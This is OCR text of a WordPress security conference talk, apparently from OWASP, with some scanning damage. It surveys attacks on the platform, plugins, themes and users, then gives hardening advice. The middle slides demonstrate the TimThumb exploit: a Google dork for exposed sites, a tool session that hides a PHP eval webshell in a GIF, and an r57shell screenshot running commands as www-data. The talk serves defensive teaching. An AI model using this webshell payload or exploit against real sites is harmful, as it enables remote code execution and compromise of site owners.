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More numbers

WordPress as a whole
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As of March 2012, WordPress is on
different websites around the giobe |
making WordPress the most widely ‘. |
used and popular CMS in existence. |
- 5

L 20-25% 0

| new websites published were built

ansible for 14.7% of

the entire world

[o date, here have been

version releases of WordPress National Gecgraphic, Adobe Blogs and numerous others.

Factoid

fechnorati's

TOP 100

Online Blogs

« WordPress SEQ
Wo e ®




OWASP

The Open Web Application Secunity Project

Finding Wordpress!

j} m inurliwp-content sikes ro - C0 X \ \

About the talk
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& =2 C ff £ htps:/f'www.googlerofsearch?g=inur|363Awp-content&og =inur| 9634

Eﬁl This page is in ‘ Romanian » | Wolld you like to ranslate it? | Translate | | Mope |
Go gle inurkwp-content site:.ro = ¢ “

Web Irnagini Mai multe - Instrumente de cautare

poti redenumi WP-CONTEMNT - 3Wa
wary Fwaves ro/cum-poti-redenumi-wp-content/ -
1.11.2012 - wp-super-dogs Unora le place WordPress- ara nu. Unii zic cd
yr hlog, alti c& e un ChS ste un CMS care a ..

Indesx of iwp-contentithemesikandiadimages - Kandia Dulce

wrw kandia-dulce roswp-contentthemes/kandiadmages! =

Indesx of fwp-contentithemesikandiafimages. Parent Directary - back-all-new jpy - back-
all-new.png - back-all. png - back-home.jpg - back-home. png ...

hitp #2011 streetdelivery roiwp-contentigalleryimisoara/dsci1535 ...
wary streetdelivery rofwp-centent/plugins/nextgen.. fautoviewer php?gid...
http: #2011 streetdelivery. rofwvp-content/galleryAtimisoara/d scf1 535 jpg 500 375

httpe 2011 streetdelivery. rofwp-content/gallerytimisoarafdscf1 528 jpg 500 375 ...

Index of fclasinTestiwpressivwp-content

. classic-inn . rofclasin Testwpressiwp-content’ ~

Index of iclasinTestiwpressfwp-content. Parent Directory - pluging/ - uploads/ - wppa-
depotd, Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenS5LA1.0.0-ps ..

Fofl Ghid de abilitare - cnatdeu

Wy Chatdou rosap-content/uploads/201 1/ /Ghid-de-ahilitare-2012.pdf =
CONSILIUL MNATIONAL DE ATESTARE. A TITLURILOR, DIFLOMELCOR. I
CERTIFICATELOR UNNERSITARE. Ghid onentativ pentru realizarea tezei de ...

ndex of fvorkdwp-content - Emplo MET
wawye emplonet.roforkiwp-content’ ~
ey of AworkAwp-content. Parent Directary

upload

ndex of fwp-content/pluging - Sama Bit
samahit.rofwp-contentplugins’ =

Index of Awp-content/pluging. Parent Directory - Fee ner_FeedSmith_Plugin.php
-populatitv-contest txt - akisme wrhhe-seo-pack.zio ..

3Awp-content&ags=chrome, 69157169158, 3322048s0urceid=chromeespy=210%es_sm=122&ie=UTF-8#es_sm=@ 77 @&
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TO SCARE!!!!

Attacks on:

- The Worpress platform
- Plugins

- Themes

- Infrastructure

- Humans
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and TO REPAIR.

Jare to Repair

Fixing |Almasi)

.-':'-.rn:.-"l'l']lr'l.“ I

Focus on:

- Infrastructure

- Installation process

- Protective server side measures
- Protective client side measures
- Reviewing source code

- Maintenance



- Wordpress Ecosystem
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Infrastructure

Base platform

Themes Plugins
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Physical security
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Common web server vulnerabilities

e QOverflows

e DoS

e Rem mmand ex ion S
e .ot.e co and executio NGIN

e XSS in internal tools hitp server

e Security Misconfiguration
Windows
Internet
IIS Information
Services

& more

... just no name a few

http://httpd.apache.org/security/vulnerabilities 22.html
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PHP vulnerabilities

e DoS
e QOverflows
e Remote command execution

 SQL injection

e XSS

e Source code disclosure
e RFI

e CSRF

&more

Hacking the infrastructure
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One example from the CVE Database

CVE-2013-4328 |leam more at Mational Yulnerability Database (BVD)

« Severity Rating « Fig Information « Yulnerable Software Versions « SCAP Mappings

U sl s =T T [e =Rl gle) in \'ordPress before 3.6.1 does not properly determine whether data has been serialized, which allows remote attackers to execute arbitrary code by
triggering erroneous PHP unserialize operations,

Mote: References are provided for the convenience of the reader to help distinguish between yulnerabilities, The list is not intended to be complete.

+ CONFIRM:http://codes wordpress.orgfersion 3.6.1

+ CONFIRM:http:ffcore tracwordpress org/changeset/25325

+ CONFIRM:http:/fwordpress.org/news/2013/09/ wardpress-3-6-1/

« DEBIAN:DSA-Z2737

« URL: bt ffwwewe debian . org/security/2013/dsa-2757

« FEDORAFEDORA-2013-16855

+ URL:http: /flists fedoraproiect.org/pipermail/packade-announce/2013-September/1 16828 html
« FEDORAFEDORA-2013-16895

+ LRL:hitn: fflists fedoraproject.org/pipermail{package-announce/2013-September/117118 html
+« FEDORAFEDORA-2013-16925

+ URL: hittp:/MNists fedoraproject.org/pipermail/package-announce/2013-September/1 16832 himl
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How many plugins are there?
27,596 PLUGINS, 536,317,915 DOWNLOADS
(as of October 2013)

How many of them are vulnerable? ©

Not as many as you’ve expected. CVE lists ‘only’ 164
vulnerabilities (not all related to plugins)

Fear not! New plugins everyday & new disclosures
on old plugins.



Hacking the themes
OWASP

The Open Web Application Securrty Project

Themes can be vulnerable!

They sometimes come up with other plugins
necessary to get the functionality needed

Think about TimThumb vulnerability!
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What is TimThumb?

A small php script for cropping, zooming and resizing web images (jpg,
png, gif). Perfect for use on blogs and other applications.

The problem!

“TimThumb” essentially, caches even remote files locally, without
doing any proper sanitization.

The problem for hackers

The file “timthumb.php” does however, check if to see if the target file
is actually an image or not. This timthumb file is also quite often
renamed to something else and is used in many themes.
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The easiest way to trick TimThumb into believing a remotely stored image
(that also contains evil PHP code) is an actual image (with timthumbcraft)

e timthumbcraft-dev - tic. py

Please note that you can alternatively open database.txt in a text editor.

[Image Selectionl
You have the following options to choose from:
Transparent (Invisible) GIF file [43 byteszl
Small Trollface Meme GIF file [1.47 khl
Provide yvour own GIF file

Type in the number of the image yvou wizh to use: 2

[Code Inclusionl

Do you wish Enter code or get a reverse shell?

Type ‘code’ or ‘shell’ please: code

Remember to add PHP tags?! C(e.g. <?php echo 1;
Inter the code you wish to upluad {Tphp eval{s_ GET[‘cmd‘]}' T
[?71 Do you want vour payload encoded? <(Harder to detectl
[+]1 Type ‘yes’ or ‘no’: yes
[+]1 Type "hasebd’ or "hex': hasebd

[Final Output]l
[+]1 Pleaze enter an output directory and filename to use: outputstest.php
[#] Uriting our payload to the specified directory and file.
[?]1 Do you wizsh to show the contents of the file?
[t1 HHRHIHG- This may produce beeps on your computepr?
[+1 T es’ or ‘no’:
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Uploading the file
| 1 etp:1/192.168.2...ripts tnumb.php |

= http:f!192.168.2.WWDIWp-content/themes!FordReporterfscripts;‘thumb.php?src=http:{ffakeﬂickr.comft':mt-hum.bfmoon,php vim |

-

no image specified
Query String :
TimThumb version : 1.27
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Additional problems with the TimThumb hack

- When uploading the image, the php script will be located in
the cache directory with a ‘random’ name

e timthumberaft-dev 1=

AP xS AN P o e s kDL N PN D P B 2 M D 2 5D a2 Pl o vaed B 32 1 s xBB s e d s P hs el asxl a
websxacsxVesxcasxbe s B xh P xhl w2 a8 a2 e xbd s x1 B xad s x? 6 x1l asxhesxB P xal
e Pl bhsocde s T S5 1 sxed 8 s od S xb B Pe Socal sood B b BN oed 65 e b2 S xch P soxcBd sood Wb £ 5 x5 3 w45
A5 I Bl Bsooe 25 3 AL ds x5 3 xS F xS P bbb bl B ood B s 455 S P A x B 6 s xbd
w30 Il s DI ST E e A 25wl as B o d 5SS b s kb B ochd s kB 2 s xB o sl £ S Bd s ? 3 xBd
o soodl soacdBs x5 sxof 1 sxoc bssod s xab s P socd 1 Soachb Sl 25 5B 2 a s xS P oce bsood £ e P s 3221
w2 dsaodbsx T e3P sxal s Shxal sxb 335 sk FuoodSsaodB oo Pocdl w3 33 S sad asxedd s w1 25 %26
wedsxf 45xd I s x5Bsxabsxl osaxl B x B8~ x 3 b xBB o I F o PBSxB B T 2 B b 5 P65 xb 1w xbc
w2 Buxb25x6 1 sk T IS Hb SN I 6N IO T b b S Nb I b F b A b D2 B o2 P P e S h b N 3 2
w5 PG P PPN xb E Ssoaedasaed b s 3 P s A8 xS 25w G b NG 2 kb 2 aedas e F 2 s ede s T S xS as e 3 s xb 4 kb
wdhsxS s P I xh P2 W2 P 2 PN 3 b 2850 3 F o de

—————————— Payload Contentz End —-—————

Please provide the full path to wvhere the image will he stored.
Example: http:-blogger.com.haxx.tldsimage . php
Type full path here: http: sblogger.com.internBt.net test.php

In mozt current versions,. the filename will he as found helow:
Filename: external_2abacdedlced?f4ce??adili?hf8B616%7 . php
Thiz file can he found in the "cache" directory.

imthumbcraft—dev #
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We’'re IN!

[ rs7shell

@ http://192.168.2.7/wp/wp-content/themes/FordReporter/scripts/cache/extemal_9821d755c40473a9%7beSedb41cdc4b0.php v C -‘lv |

GIF87addisasiooo339MMM»»»EEE™ ™ ™E€€EWWWHTUUUDDD333"""[000. dd[]ﬂpHIuSBJIH»H (Rdihh€®lnsp, [MTtmAx®n|jns GCxHRK OQreogr., a_]5€ BARNINOMb @00
apXtKK+IP O)-\XbI[JJ0Mo[JlheYu[]{aJbyu<k(] ,[J* [JhgYvEbhvtVR ([ -] ®whtJhlIVsathRZE[[] M- ‘<JbbleSxWelb r] BrEIfCIIsUsV([[juuxX?[IILLEpHI[bIn€®dexujx @]
kwMUj-t-xTCDBf M6 di(1d3IMOTN0*08&nbY. 1zl J00KOIBRN[HprU» T TIHHI CR«®BK-;—[1POOXI[1% 9, plk(] ™3 huNh[JaS%I ~8Jb[IXhP>rLclOt7e” ®i“kE >adJLIsr|ropxIir=)Ng KAZ[]
=' [=%chLR2/BItp%ew@€E“~1\Sit!Kn_Hr5I €81:%0...-H[] %#PwW"[].. V(uXn...u[JaveMRN:"e* EgFbAY1#%I1SblaN [[DhK®nFTTPEM[IMKHb- hOT "~ w { BLY6[0pwGTucOS[]
5X211R"B[?>850§OTRW?,[\lgOs0...[K []...4 Nh€TOYmXt.4 QM 9,1 }rrKOiNCu67#a0P® K+ el'stalTuOic 9XKOCAVIPI[M700],JM7u=$¥ [rbl’ mmp&s*}"VU+[]
-H-p-1IhNvdeqP&AES$im%K ZE,P7Nei]"Vx-orG 1Z, rmJOEpIIIHVO3rXBmxUed *ILI@... 3KNex'[]; fj>sR'lqn°XeL)Khj3Kue wMILIK3«+AaW CDIH[']B%UD 032€y|rHINs>2Z

n"™ 6m)ex3Y) |aXhBEEK2SMOIELAWYh ™4, P+ Ne3[]-10)gS®zaCm3-~" €&4aX(][, K+€De™ 3'Averrhq%o! W™ " €11'Jhj1j¥ 2)K4'[Jo> AKn™ bYHE&I'U rio;nbG[j¥bx[JPelle c7 Nel'ql\pAm([][]
EX[C".03:QLIQPEKIKcTISSWIbHE, PR © *'[*a|2BS HhKKTcY ~'u[IPT#, } ENATH) T *\JEHoAXP musilLBn{]_I'5CpnY’ke\jhalld\HaS 11" kwC*qaHd@Ev-HAT}— riFUE‘bHLNor"bBS:;]R
I axwO[ QalIRMT~HHOX" {x&c{6—0UHAy!9IO0?Se’l>%emYq~ ;H;0V[dm. *RAY ~Z33%e![R«\®KfuQOOZC";0[2..b*IOINEJOrS$ K OJIIF X— @V@KAyICL®[é™F/ik ~€[k:Mbyh[]E
n4YecAERh I'O/AHMTIu@ROPp0"quPFPryQiogs-100émo|aCOKIIuj; JUEE-5a¥V1sll~b00 MIDUYn KPu0H e[]H"[O[] '\ﬂ]z.NoH(pSe["lpc[jf)C BH&:A3.«YFwoD+cxS#r ‘=IThH
[ y&ivOE€ " sAmPKIVEK|*a"2 ﬂBHSPaMSlX!uO“‘!jNTLn%_}SA\Z[]yF,, }Sﬂﬂ#me}KﬂSYaHDﬂ][{]‘D[HHIV ?ml (n+&[3gB"0K[ 'nP’F;+p§—*KrOe§AH D@L {W»u"OPx[j€clJsaS[.p-
[ ©VSK®:H{ITYIO[-~oB#Kf {vOk|d, LnlcKSORYid cyIIVMET ~«I'Y/@ 33[[xabop/bUVR-p 4™ ?zN:"[1“[1>h@[T; ?TR[]“§[JabAb§* | +hXAQK 7ZblxS5ir.. HA[ybO#(]=" LIeA[]
yTWantOUSRjNu4H]aIQHAUIb‘I=n‘[|s i Kz‘bYTF[]UE[]L]No'ijhtlunel[_;nPSBS n®u[e6IbTK/ER] vl*sda. F@IxxL[PpEoEBm/ HekT©6[10@[10«,aT)?6 HE%OR...pTdy%]
HoHEhSa®k[] nRiLA"JmMHNI —Mua&;mUPRI"§eI[;

16-08-2001 ON:20:33 | phpinte | | phpdnt | [ op | | mem | [ wsers | [ imgp | | detets |

! safe mode, OFF PHP version: 3.3.2.1ubuntud ® cURL: ON MyS0L. ON MSSOL. OFF PostgreS0L: OFF Oracle. OFF
r37shell 1.24 Disable functons  NONE
HDD Fres | 7.51 GB HDD Totsl . 9.38 GB
WA -a Linus nbuntu 2.0 12-2 1 -graevic #12-Ubunte SMP Frd Apy 16 00 10002 UTC 2010 1686 GNLU/Linax
sysatl
SOSTYPE
Server:  Apscihe/2.2.14 (Uuntu)
id: wid= 1 Tiwww-dats) gid=TTiwww-data) groups = 11 www-data)
pwd 1 Svar'www/wp/wp-<ontent/t hemes/ FordReparter/scripts/cache  ( drwarwxrws )
Executed command: ks -lla
total 160
140281 drwirwiryx 2 Swanl Swanl 4006 Aug 16 09:27
140170 drwarwiryx 8 swami swanl 4096 Aug 16 02:47
140282 -rw-r--r-- 1 www-data www-data 3456 Aug 16 09:22 aa7581001d8d7d6e08lae29180d20b7b. png
134456 -rw-r--r-- 1 swami swaml 149594 Aug 16 09:27 external_S821d755c40473a%e 7beSedbdalcdcdbo. php

it Exocute command on server aw

Run v ommand
Work directory ¢ /var/wwwiwp/wp-content/themes/ Ford Reporteriscripta/cache Exacute

11 Edit filos aw
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- Social engineering
- Phishing
- Exploiting bad habits
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Let’s start fixing the Wordpress Ecosystem

Short recap:
Infrastructure

Worc
Worc
Worc
Users

press base platform
press plugins
press themes
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INFRASTRUCTURE

- Choose a decent data-center
- Use encryption for physical disks

- Use secure communication channels with the
Server (SSH, SFTP); do you still use FTP? You should be banned from the world.

- Keep the Web Server, PHP and Database updated
to the latest version

- Secure configurations (disable directory listing,
secure php.ini configuration, etc.)

- Log and analyze
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WORDPRESS PLATFORM - INSTALLATION

- Always download the platform from a trusted
source; use https://wordpress.org/download/

- Change the default ‘admin’ username

- Set a strong password

- Change the default ‘wp ’ table prefix

- Set an insane database password

- Move wp-config.php outside /public_html




Fixingithe Wordpress platferm
OWASP

The Open Web Application Securrty Project

WORDPRESS PLATFORM - MAINTENANCE

- BACKUP!!! (BackWPup plugin)
- Update!
- Use SSL for authentication

- Use CAPTCHA for logging in (Captcha on Login
plugin)
- Limit the access to /wp-admin (form .htaccess)

- Source code audit
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THEMES

- Update
- Review the code
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PLUGINS

- Delete unused plugins
- Update
- Review ratings and user comments

Source code audit
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USERS

- Awareness

Set user roles and give only the privileges they
heed

- Log & audit user actions (ARYO Activity Log
olugin)
- Personal computer security

Enforce the use of strong passwords (Minimum
Password Strength plugin)
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Further actions

Install one or more security plugins

Login Security Solution

AntiVirus

WP Security Scan

WordPress File Monitor Plus

OSE Firewall Security
Block Bad Queries
Wordfence
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Monitor the website from an external party

e WebsiteDefender
e Pingdom

e Change Detection
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Source code audit
() Every line of code audited

-

= September 10, 2012 in Development, WooThemes NMews

Mok
Forrester

WOOFRAMEWORK SUCURI SAFE

Veersion 5.4. Now even leaner and cleaner!

126
B

91
:

WOOTHEMES - PREMIUM WORDPRESS THEMES & PLUGINS

WOOFRAMEWORK
mmEMB FRAMEWORK 5 4
19

Bl viewosusaELsa || viEwTHENEDOSS L visiT FoRuM [+ Sawve All Changes
/' Ganeroi Sattings.
Thema Stylesheat

Quick Start
~ = = dataulloss

Owerthe past few months we've been working very closely with the Sucuri Security team
who we commissioned to doa full audit of our core products' codebase, We've already
released WooSlider and WooDojo with Sucurf Security's stamp of approval, and today we are
happy to announce that the WooFramewaork —the engine that powers each and every one of

our WordFressthemes -is now also Sucuri safe.
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If you know what you’re doing, do the whole
ecosystem yourself.

Otherwise go with a managed solution:
e Wordpress.org

* Wpengine.com

e Godaddy.com

Etc.
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Wordpress Security Checklist project on OWASP

https://www.owasp.org/index.php/OWASP Wordpress Security Checklist Project

My part:
- Establish the structure
- Contribute with content

| need help for:

- Content

- Plugin suggestions and reviews
- Source code audits
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Thank youl!




